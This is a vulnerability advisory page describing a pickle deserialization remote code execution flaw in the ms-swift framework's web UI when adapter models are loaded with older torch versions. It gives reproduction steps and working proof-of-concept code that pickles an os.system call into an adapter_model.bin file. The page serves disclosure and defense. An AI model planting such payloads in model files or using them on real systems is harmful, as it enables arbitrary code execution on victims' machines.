Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. ms-swift
  4. ›
  5. GHSA-r54c-2xmf-2cf3

GHSA-r54c-2xmf-2cf3: MS SWIFT Deserialization RCE Vulnerability

July 31, 2025

This appears to be a security vulnerability report describing a remote code execution (RCE) exploit in the ms-swift framework through malicious pickle deserialization in adapter model files. The vulnerability allows arbitrary command execution when loading specially crafted adapter models from ModelScope.

This occurs when using machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0

I. Detailed Description:

  1. Install ms-swift
pip install ms-swift -U
  1. Start web-ui
swift web-ui --lang en
  1. After startup, you can access http://localhost:7860/ through your browser to see the launched fine-tuning framework program

  2. Upload an adapter model repository (cyjhhh/lora_adapter_4_llama3) on ModelScope, where the lora/adapter_model.bin file is generated through the following code:

import torch, pickle, os

class MaliciousPayload:
def __reduce__(self):
return (os.system, ("touch /tmp/malicious.txt",))  # Arbitrary command

malicious_data = {
"v_head.summary.weight": MaliciousPayload(),
"v_head.summary.bias": torch.randn(10)
}

if __name__ == "__main__":
with open("adapter_model.bin", "wb") as f:
pickle.dump(malicious_data, f)
  1. First training submission: First, fill in the required parameters in the LLM Training interface, including Model id and Dataset Code, and configure the following in the Other params section of Advanced settings

  2. Click Begin to submit. You can see the backend command running as follows

  3. By reading the ms-swift source code, swift.llm.model.utils#safe_snapshot_download() and modelscope.hub.utils.utils#get_cache_dir(), we can see that adapters are downloaded locally to the path ~/.cache/modelscope. Therefore, the complete local path for the specified remote adapters after download is:

~/.cache/modelscope/hub/models/cyjhhh/lora_adapter_4_llama3

Wait for the first submission program until the adapters download is complete, then you can click “kill running task” on the page to terminate the first training

  1. Second training submission, configure the page parameters as follows

Click submit to see the backend command running as follows

  1. After waiting for a while, you can see that torch.load() loaded the malicious adapter_model.bin file and successfully executed the command. Related execution information can also be seen in the log file corresponding to –logging_dir

  2. Note (Prerequisites) Requires machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0

References

  • github.com/advisories/GHSA-r54c-2xmf-2cf3
  • github.com/modelscope/ms-swift
  • github.com/modelscope/ms-swift/commit/cc47463bcd25a8720437cf945130f43052eec5e4
  • github.com/modelscope/ms-swift/security/advisories/GHSA-r54c-2xmf-2cf3

Code Behaviors & Features

Detect and mitigate GHSA-r54c-2xmf-2cf3 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions up to 3.6.3

Solution

Unfortunately, there is no solution available yet.

Weakness

  • CWE-502: Deserialization of Untrusted Data

Source file

pypi/ms-swift/GHSA-r54c-2xmf-2cf3.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 19 Aug 2025 12:18:24 +0000.